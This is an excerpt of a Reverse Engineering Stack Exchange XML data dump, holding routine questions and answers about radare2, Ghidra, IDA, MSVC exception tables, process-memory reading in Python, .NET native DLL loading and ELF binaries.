ds&#xA;[0x0003b0e0]&amp;gt; drr&#xA;role reg    value            ref&#xA;――――――――――――――――――――――――――――――――&#xA;SN   rax    8000000000000000 &#xA;     rbx    0                 0 R 0x3010102464c457f&#xA;A3   rcx    0                 0 R 0x3010102464c457f&#xA;A2   rdx    7ff0000000000000 &#xA;A1   rsi    0                 0 R 0x3010102464c457f&#xA;A0   rdi    0                 0 R 0x3010102464c457f&#xA;A4   r8     0                 0 R 0x3010102464c457f&#xA;A5   r9     0                 0 R 0x3010102464c457f&#xA;A6   r10    0                 0 R 0x3010102464c457f&#xA;A7   r11    0                 0 R 0x3010102464c457f&#xA;     r12    0                 0 R 0x3010102464c457f&#xA;     r13    0                 0 R 0x3010102464c457f&#xA;     r14    0                 0 R 0x3010102464c457f&#xA;     r15    0                 0 R 0x3010102464c457f&#xA;PC   rip    3b0f3             241907 (.text) sym.finite R X 'and rax, rdx'&#xA;BP   rbp    10078000          268926976 R W 0x0 --&amp;gt;  0 R 0x3010102464c457f&#xA;     rflags 0                 0 R 0x3010102464c457f&#xA;SP   rsp    10078000          268926976 R W 0x0 --&amp;gt;  0 R 0x3010102464c457f&#xA;[0x0003b0e0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23193" LastEditorUserId="23193" LastEditDate="2020-05-06T10:28:50.577" LastActivityDate="2020-05-06T14:20:57.840" Title="Is `movq rax, xmm0` buggy in Radare2?" Tags="|radare2|debuggers|x86-64|emulation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24896" PostTypeId="1" CreationDate="2020-05-02T17:04:28.750" Score="3" ViewCount="955" Body="&lt;p&gt;By &quot;VM obfuscated binary&quot;, I mean a binary that contains one or more implementations of a VM internally, and also some bytecode that can run on this VM. One of the reasons why this binary is this way, is to obfuscate some logic in the byte code. I see that &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3969/can-ida-pro-automatically-deal-with-vm-obfuscated-binaries&quot;&gt;a similar question&lt;/a&gt; has been asked for IDA Pro. The answer to that question indicated that IDA Pro does not support disassembly of such bytecode out of the box, but that there is a plugin that can help. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21375/custom-virtual-machine-protection&quot;&gt;Another question&lt;/a&gt; is more general, not specific to any tool like IDA Pro, Ghidra, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: I'm not asking about the case where a binary is run in a virtual machine, say, Virtual Box, for example because it is suspected of being malware and running it in a virtual machine &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23/how-can-i-analyze-a-potentially-harmful-binary-safely&quot;&gt;is a form of protection&lt;/a&gt;. Various questions have been asked on how to use IDA Pro, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19827/debugging-a-process-running-in-a-virtual-machine-with-radare2&quot;&gt;radare2&lt;/a&gt;, etc., to reverse engineer such a binary being run in a virtual machine. In the case of interest, we are talking about a binary that implements its own VM internally, and not about some external VM like Virtual Box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it is not a problem disassembling the parts of the binary that implement the VM. The problem at hand is the bytecode. The bytecode architecture is not natively supported by Ghidra, so I'm working on using sleigh to specify it, etc.; that is another question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The present question --&#xA;assuming I have a complete disassembler for the bytecode:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a good way to programmatically figure out that the code may be implementing a VM?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a good way to programmatically figure out where the bytecode begins and where it ends? Like, looking for patterns in the code that implements the VM?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Should I be trying to implement it with Ghidra scripts? Or write a Ghidra analyser? Or something else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2020-05-02T17:04:28.750" Title="How to use Ghidra to work with VM obfuscated binaries?" Tags="|disassembly|deobfuscation|ghidra|virtual-machines|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24898" PostTypeId="1" CreationDate="2020-05-02T21:25:47.703" Score="0" ViewCount="47" Body="&lt;p&gt;I would like to return in v0 the following answer &amp;quot;FR&amp;quot; instead of the country retrieved from Json&lt;/p&gt;&#xA;&lt;p&gt;.method public getCountryCode()Ljava/lang/String;&#xA;.registers 2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.line 11&#xA;iget-object v0, p0, Lfr/francetv/player/webservice/model/geo/GeoInfo;-&amp;gt;countryCode:Ljava/lang/String;&#xA;&#xA;return-object v0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;.end method&lt;/p&gt;&#xA;&lt;p&gt;could any one help please.&lt;/p&gt;&#xA;" OwnerUserId="33064" LastEditorUserId="245" LastEditDate="2020-06-22T10:14:32.147" LastActivityDate="2020-06-22T10:14:32.147" Title="how to replace the result from a json request into a variable" Tags="|android|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-22T08:22:38.987" ContentLicense="CC BY-SA 4.0" />
  <row Id="24899" PostTypeId="2" ParentId="24894" CreationDate="2020-05-02T22:01:20.710" Score="1" Body="&lt;p&gt;A Process Has N Number of Modules&lt;br&gt;&#xA;And these Modules can Load At Different Base Address&lt;br&gt;&#xA;so using Addresses Like 0x0052BD7E may yield Wrong Results   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enumerate The Modules&lt;br&gt;&#xA;Find The Correct Base Address&lt;br&gt;&#xA;Add The Relative Virtual Address&lt;br&gt;&#xA;Read From Those Address   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a small python code that reads the first 10 bytes of Calculator Metro app's    ApplicationFrameHost.exe in windows 10 try adapting the concept&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ctypes import *&#xA;import win32con&#xA;import win32process&#xA;import win32api&#xA;&#xA;calwnd = windll.user32.FindWindowW(None,&quot;Calculator&quot;)&#xA;if(calwnd != None):&#xA;    calpid = c_uint32(0)  &#xA;    windll.user32.GetWindowThreadProcessId(calwnd,byref(calpid))&#xA;    if(calpid.value != 0):&#xA;        process_handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS,False,calpid.value)&#xA;        if(process_handle != None):&#xA;            module_handles = win32process.EnumProcessModules(process_handle)&#xA;            print(&quot;Total No of Module = %d&quot; % len(module_handles))&#xA;            print(&quot;base Address Of First Module = %x&quot; % module_handles[0])&#xA;            print(&quot;Mod1=%s&quot; % win32process.GetModuleFileNameEx(process_handle, module_handles[0]))&#xA;            buf = create_string_buffer(16)&#xA;            tmp = c_void_p(module_handles[0])&#xA;            bread = c_int()&#xA;            windll.kernel32.ReadProcessMemory(process_handle.handle,tmp,byref(buf),16,byref(bread))&#xA;            for i in range(0,16,1):&#xA;                print(buf[i],end=&quot; &quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\pyt&amp;gt;python writeproc.py&#xA;Total No of Module = 65&#xA;base Address Of First Module = 7ff728780000&#xA;Mod1 = C:\WINDOWS\system32\ApplicationFrameHost.exe&#xA;b'M' b'Z' b'\x90' b'\x00' b'\x03' b'\x00' b'\x00' b'\x00' b'\x04' b'\x00' b'\x00' b'\x00' b'\xff' b'\xff' b'\x00' b'\x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-05-02T22:01:20.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24900" PostTypeId="2" ParentId="24874" CreationDate="2020-05-02T22:08:42.740" Score="2" Body="&lt;p&gt;IDA works with FLIRT (Fast Library Identification and Recognition Technology) signatures. These “signatures” are basically sequences of assembly instructions that are found in functions. IDA has built-in signatures for common libraries. You can find signatures for other libraries, or create your own for functions you identify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA also reads given names from debugging symbols and exports that are part of the binary and can read .pdb files with symbols for matching binaries.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-05-02T22:08:42.740" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24902" PostTypeId="1" CreationDate="2020-05-03T07:26:36.667" Score="1" ViewCount="1479" Body="&lt;p&gt;Suppose that we have bit fields struct like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct PartInfo&#xA;{&#xA;  unsigned int day:5;&#xA;  unsigned int month:4;&#xA;  unsigned int year:7;  // year &amp;lt;= 99&#xA;  unsigned int lot_no:11;  // lot_no &amp;lt;= 2000&#xA;  unsigned int part_id:5;  // part_id &amp;lt;= 30&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I represent it in IDA? &lt;/p&gt;&#xA;" OwnerUserId="33073" LastActivityDate="2020-05-06T12:45:56.903" Title="How to create struct of bit fields in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24903" PostTypeId="2" ParentId="1347" CreationDate="2020-05-03T13:04:28.787" Score="2" Body="&lt;p&gt;I don't see &lt;a href=&quot;https://ghidra-sre.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; in the lists in the other answers, probably because this question was asked in 2013, and Ghidra has only more recently been made available to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra comes with built-in cooperative working tools. Each user who wishes to cooperate on a reverse engineering project would connect to Ghidra server. This is a simple server that can be run on any computer that these Ghidra users can all access. It provides network storage for the shared project too. It controls user access, provides file versioning, and supports check in, check out and version history. Quite neat.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-04T01:48:15.297" LastActivityDate="2020-05-04T01:48:15.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24904" PostTypeId="2" ParentId="22756" CreationDate="2020-05-03T14:40:36.763" Score="0" Body="&lt;p&gt;You can make your IDApython script in this format below:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;from idautils import *&#xA;from idaapi import *&#xA;from idc import *&#xA;import os&#xA;autoWait() # to wait until ida analysis finished&#xA;f=open('result.log')#output result to a file&#xA;# your script here &#xA;f.write('run script')&#xA;f.close()&#xA;exit() #close IDA after script finished&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then use this command to run,you would see a GUI in a flash，Almost equivalent to no GUI.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./ida -A   -S&quot;&amp;lt;path_to_your_script&amp;gt;&quot; &amp;lt;path_of_binary&amp;gt;  -t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-A means auto run without interactive windows.&#xA;&lt;br&gt;-t means make a temporary idb file.&lt;/p&gt;&#xA;" OwnerUserId="33079" LastActivityDate="2020-05-03T14:40:36.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24906" PostTypeId="1" CreationDate="2020-05-03T16:28:51.367" Score="0" ViewCount="52" Body="&lt;p&gt;I am doing a research in identifying backdoors in windows .exe files. Currently I found some methods to detect.&#xA;1.String search in .exe&#xA;2.find Reffrence .dll and win32 Api calls using import table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the other static analysis methods to detect backdoors?&lt;/p&gt;&#xA;" OwnerUserId="33016" LastActivityDate="2020-05-03T16:28:51.367" Title="static analysis for identifying backdoors" Tags="|static-analysis|executable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24911" PostTypeId="2" ParentId="24881" CreationDate="2020-05-04T11:50:28.193" Score="0" Body="&lt;p&gt;It seems you need to figure out how the app is communicating with the drone, either by reverse engineering it or intercepting the traffic. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-04T11:50:28.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24912" PostTypeId="2" ParentId="24872" CreationDate="2020-05-04T11:56:25.367" Score="1" Body="&lt;p&gt;The presence or absence of exports alone is not enough to tell if a file is packed or unpacked. Most executables have no or very few exports but there are also legitimate executables with many exports. Packing can hide exports but might also leave them visible so it’s not a reliable indicator either way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It’s better to use other means of detecting packed files: entropy, signatures, runtime analysis and so on. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-05-04T17:38:49.677" LastActivityDate="2020-05-04T17:38:49.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24913" PostTypeId="1" AcceptedAnswerId="24962" CreationDate="2020-05-04T13:28:38.990" Score="0" ViewCount="953" Body="&lt;p&gt;So lets say i have these type of instructions in functions :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x == constant value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x = constant value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x &gt; constant value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no matter if its just an assignment or compare or anything, i want to get the constant values in all functions from main onward  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tried googling but couldn't find anything that helps me with this, is this possible? &lt;/p&gt;&#xA;" OwnerUserId="30154" LastActivityDate="2020-05-10T00:48:01.673" Title="Is there any way to write a IDA script that finds constant values used in all functions, no matter the instruction?" Tags="|ida|malware|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24915" PostTypeId="1" CreationDate="2020-05-04T18:09:31.050" Score="0" ViewCount="239" Body="&lt;p&gt;I've came up with the most convoluted example but still can't find the purpose of the &lt;code&gt;catchHigh&lt;/code&gt; field. I find it that the right handler can be selected simply by looking at the tryblock map from start to end and comparing the ranges of the &lt;code&gt;tryLow&lt;/code&gt; and &lt;code&gt;tryHigh&lt;/code&gt; fields to the current state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean I understand that &lt;code&gt;catchHigh&lt;/code&gt; is simply the max state that the catch handlers can reach (inclusive?) (from here ehdata.h:140:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__ehstate_t     catchHigh;          // Highest state index of any associated catch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;) but I don't understand when this field can be actually useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it seems that this value is used by the CRT anyway (vs2019 - frame.cpp:693):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/////////////////////////////////////////////////////////////////////////////&#xA;//&#xA;// GetRangeOfTrysToCheck - determine which try blocks are of interest, given&#xA;//   the current catch block nesting depth.  We only check the trys at a single&#xA;//   depth.&#xA;//&#xA;// Returns:&#xA;//      Address of first try block of interest is returned&#xA;//      pStart and pEnd get the indices of the range in question&#xA;//&#xA;RENAME_EH_EXTERN(__FrameHandler3)::TryBlockMap::IteratorPair RENAME_EH_EXTERN(__FrameHandler3)::GetRangeOfTrysToCheck(&#xA;    RENAME_EH_EXTERN(__FrameHandler3)::TryBlockMap &amp;amp;TryBlockMap,&#xA;    __ehstate_t                                    curState,&#xA;    DispatcherContext                              * /*pDC*/,&#xA;    FuncInfo                                       * pFuncInfo,&#xA;    int                                            CatchDepth&#xA;) {&#xA;    TryBlockMapEntry *pEntry = FUNC_PTRYBLOCK(*pFuncInfo, 0);&#xA;    unsigned start = FUNC_NTRYBLOCKS(*pFuncInfo);&#xA;    unsigned end = start;&#xA;    unsigned end1 = end;&#xA;&#xA;    while (CatchDepth &amp;gt;= 0) {&#xA;            _VCRT_VERIFY(start != -1);&#xA;            start--;&#xA;            if ( TBME_HIGH(pEntry[start]) &amp;lt; curState &amp;amp;&amp;amp; curState &amp;lt;= TBME_CATCHHIGH(pEntry[start])&#xA;                    || (start == -1)&#xA;            ) {&#xA;                    CatchDepth--;&#xA;                    end = end1;&#xA;                    end1 = start;&#xA;                    }&#xA;            }&#xA;&#xA;    ++start; // We always overshoot by 1 (we may even wrap around)&#xA;    _VCRT_VERIFY(end &amp;lt;= FUNC_NTRYBLOCKS(*pFuncInfo) &amp;amp;&amp;amp; start &amp;lt;= end);&#xA;    auto iterStart = TryBlockMap::iterator(TryBlockMap, start);&#xA;    auto iterEnd = TryBlockMap::iterator(TryBlockMap, end);&#xA;&#xA;    return TryBlockMap::IteratorPair(iterStart, iterEnd);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw &lt;code&gt;TBME_HIGH&lt;/code&gt; is tryHigh field and &lt;code&gt;TBME_CATCHHIGH&lt;/code&gt; is the topic - catchHigh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can't seem to follow the above code - what I can do however is show you my example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;winnt.h&amp;gt;&#xA;#include &amp;lt;malloc.h&amp;gt;&#xA;extern &quot;C&quot; void* _ReturnAddress(void);&#xA;void f() {&#xA;    if (!printf(&quot;&quot;))&#xA;        throw 9;&#xA;}&#xA;&#xA;struct test {&#xA;    test();&#xA;    test(const test&amp;amp;);&#xA;    ~test();&#xA;    test f1(int, test);&#xA;    int a, b;&#xA;} f(int, test) throw(int) {&#xA;    test tmp;&#xA;    f();&#xA;    return tmp;&#xA;}&#xA;&#xA;int printfproxy(size_t szbuffer, const char* format, ...)&#xA;{&#xA;    va_list lst;&#xA;    va_start(lst, format);&#xA;    char* tmp = (char*)_alloca(szbuffer);&#xA;    int a = vsprintf(tmp, format, lst);&#xA;    OutputDebugStringA(tmp);&#xA;    return a;&#xA;}&#xA;&#xA;test test::f1(int, test a) throw(int) {&#xA;    test tmp;&#xA;    return tmp;&#xA;}&#xA;&#xA;test::test() : a((int)_ReturnAddress()), b(0) {&#xA;    printfproxy(sizeof &quot;ctor test @ ffffffff\n&quot;, &quot;ctor test @ %X\n&quot;, a);&#xA;}&#xA;&#xA;&#xA;test::test(const test&amp;amp; arg) : a((int)_ReturnAddress()), b(arg.a)&#xA;{&#xA;    printfproxy(sizeof &quot;copy ctor test @ ffffffff\n&quot;, &quot;copy ctor test @ %X\n&quot;, a);&#xA;}&#xA;&#xA;test::~test() {&#xA;    printfproxy(sizeof &quot;de ctor test @ ffffffff\n&quot;, &quot;de ctor test @ %X\n&quot;, a);&#xA;}&#xA;&#xA;struct test4 {&#xA;    int a[3];&#xA;} f4(int, struct test4 arg) throw(int) {&#xA;    test4 tmp;&#xA;    return tmp;&#xA;}&#xA;&#xA;void main() {&#xA;    test tmp;&#xA;    test4 tmp2;&#xA;    try {&#xA;        test tmp, tmp3;&#xA;        test4 tmp2;&#xA;        try {&#xA;            if (tmp.b == 0)&#xA;#line 93&#xA;                f(9, tmp).f1(9, tmp), f(7, tmp);&#xA;            else&#xA;                f(7, tmp), f(7, tmp), f4(7, tmp2);&#xA;        }&#xA;        catch (int) {&#xA;            try {&#xA;#line 99&#xA;                printfproxy(sizeof &quot;handler 2147483647&quot;&quot;\n&quot;, &quot;handler %d&quot;&quot;\n&quot;, __LINE__); test tmphandler; f(7, tmp);&#xA;            }&#xA;            catch (int) {&#xA;#line 102&#xA;                printfproxy(sizeof &quot;handler 2147483647&quot;&quot;\n&quot;, &quot;handler %d&quot;&quot;\n&quot;, __LINE__);&#xA;            }&#xA;        }&#xA;#line 106&#xA;        if (tmp.b == 0)&#xA;            f(9, tmp).f1(9, tmp), f(7, tmp);&#xA;        else&#xA;            f(7, tmp), f(7, tmp), f4(7, tmp2);&#xA;    }&#xA;#line 111&#xA;    catch (int) { printfproxy(sizeof &quot;handler 2147483647&quot;&quot;\n&quot;, &quot;handler %d&quot;&quot;\n&quot;, __LINE__); }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the tryblockmap generated by the compiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stru_40C9F0     TryBlockMapEntry &amp;lt;11, 12, 13, 1, offset stru_40C9C0&amp;gt; ; offset loc_401554&#xA;                TryBlockMapEntry &amp;lt;4, 9, 13, 1, offset stru_40C9D0&amp;gt; ; offset loc_4014FF&#xA;                TryBlockMapEntry &amp;lt;1, 18, 19, 1, offset stru_40C9E0&amp;gt; ; offset loc_4015FD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the point of first exception inside &lt;code&gt;main&lt;/code&gt; function (at line 93):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i806L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i806L.png&quot; alt=&quot;graph1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We see that at this point the state is 5 (state is represented by var_4 in ida).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mind the break-point - the actual exception happens at the call to &lt;code&gt;f&lt;/code&gt; - few instructions later.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we look at the smallest range that fits - that is the second trymapentry (offset loc_4014FF). So we execute the handler at line 99:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Suupj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Suupj.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there in the initial instructions, more specifically the call to &lt;code&gt;printfproxy&lt;/code&gt; the state is still - the tryHigh of the previous step + 1 so 10. Then when we enter the call to &lt;code&gt;f&lt;/code&gt; the state becomes 0xC (12). Now at this point when the exception occurs inside &lt;code&gt;f&lt;/code&gt; the first trymapentry (offset loc_401554) is executed (line 102) for the same reason as before - it's the smallest range that fits the current state (note that the range is inclusive since:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef const struct _s_TryBlockMapEntry {&#xA;    __ehstate_t     tryLow;             // Lowest state index of try&#xA;    __ehstate_t     tryHigh;            // Highest state index of try&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so the 12 fits here at the end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also funny thing to notice is that the appropriate trymapentry starts at state 11 and so if the exception occurred in the beginning where we established that the state is 10 the outermost handler will be executed (line 111) - however that is impossible since the compiler has determined that &lt;code&gt;printfproxy&lt;/code&gt; can't throw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway now let's execute another handler further:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mRUwQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRUwQ.png&quot; alt=&quot;graph3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we continue execution at line 106 where another exception is about to occur. This time the state is set to 0xE (14). Which means it's time to execute the outermost handler (offset loc_4015FD @line 111)  because it's the only range that fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is we never once reached a point where &lt;code&gt;catchHigh&lt;/code&gt; was needed. We only used the idea of the smallest possible range that fits current state. My question is - could there be a situation where this field would be actually needed to determine the right handler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note smallest possible range in my mind is if the range is contained in another range - that range. If I had to write an algorithm to find the right handler given state and tryblockmap I would do something like (pseudo-code using range for loop) and never use catchHigh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;findhandler(&#xA;    state,&#xA;    tryblockmap&#xA;) {&#xA;    int loweststate = INT_MIN, maxstate = INT_MAX;&#xA;    auto handler = nullptr;&#xA;    for (auto a : tryblockmap)&#xA;        if (a.tryLow &amp;lt;= state &amp;amp;&amp;amp; a.tryHigh &amp;gt;= state) //if it fits&#xA;            if (a.tryLow &amp;gt; loweststate || a.tryHigh &amp;lt; maxstate) //if it smaller range then previous handler&#xA;                handler = a, loweststate = a.tryLow, maxstate = a.tryHigh;&#xA;&#xA;    return handler;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note - I'm using VC++6.0 SP5 PP5 to compile.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2020-05-04T19:50:00.333" LastActivityDate="2020-05-04T19:50:00.333" Title="Some more questions related to C++ exceptions (catchHigh)" Tags="|x86|c++|seh|msvc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24916" PostTypeId="2" ParentId="24913" CreationDate="2020-05-04T20:18:01.550" Score="0" Body="&lt;p&gt;You should try to iterate over each instructions and check if the immediate value used by the instruction is equal to that constant you are looking for. In IDApython you may use this function: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/277.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/277.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33099" LastActivityDate="2020-05-04T20:18:01.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24917" PostTypeId="1" AcceptedAnswerId="24922" CreationDate="2020-05-05T02:13:04.953" Score="0" ViewCount="990" Body="&lt;p&gt;I'm new here so I'm sorry if this isn't the right section for my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reverse engineering a software that's written in .net 3.5 c# which loads a weird dynamic dll, which has an important functionality of decrypting / encrypting strings. I tried to make a c# program and import the dlls but visual studio complains about invalid / unsupported dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some output and info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;targetframework: .Net Framework v3.5 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FileAnalyzer.dll:  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the .net software loads it and hooks its functions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public class FileDataCtrlWrap&#xA;  {&#xA;    [DllImport(&quot;FileDataCtrl.dll&quot;, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]&#xA;    private static extern bool GetPersonalSettingsFolder(byte[] buffer, uint type);&#xA;&#xA;    [DllImport(&quot;FileDataCtrl.dll&quot;, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]&#xA;    private static extern bool GetSettingsFolder(byte[] buffer, uint type);&#xA;&#xA;    [DllImport(&quot;FileDataCtrl.dll&quot;, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]&#xA;    private static extern bool GetSnapShotFolder(byte[] buffer);&#xA;&#xA;    [DllImport(&quot;FileDataCtrl.dll&quot;, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]&#xA;    private static extern bool GetSnapShotPath(string cameraName, byte[] buffer);&#xA;&#xA;    [DllImport(&quot;FileDataCtrl.dll&quot;, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]&#xA;    private static extern int Encrypt(string intput, StringBuilder output);&#xA;...&#xA;...&#xA;..etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How is this .net program loading a pe32 dll? &lt;/li&gt;&#xA;&lt;li&gt;Is it possible to replicate this behavior? If not what are the alternatives?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the dll file can be found &lt;a href=&quot;https://filebin.net/sqxsz86tmh63fdq2&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33101" LastActivityDate="2020-05-05T08:29:01.890" Title="Loading a PE32 executable DLL Intel 80386 into a c# program" Tags="|dll|c#|dll-injection|pe32|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24919" PostTypeId="1" CreationDate="2020-05-05T07:21:35.250" Score="0" ViewCount="590" Body="&lt;p&gt;Without having access to the original source code, is there a way to combine two ELF binaries with the main() in the first binary pointing to the main() in the second binary ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I mean adding memory section for the content inside the second main().&lt;/p&gt;&#xA;" OwnerUserId="30102" LastEditorUserId="30102" LastEditDate="2020-05-05T14:46:33.277" LastActivityDate="2020-05-05T14:46:33.277" Title="Combine two ELF binaries" Tags="|binary-analysis|elf|binary|binary-editing|" AnswerCount="0" CommentCount="18" ContentLicense="CC BY-SA 4.0" />
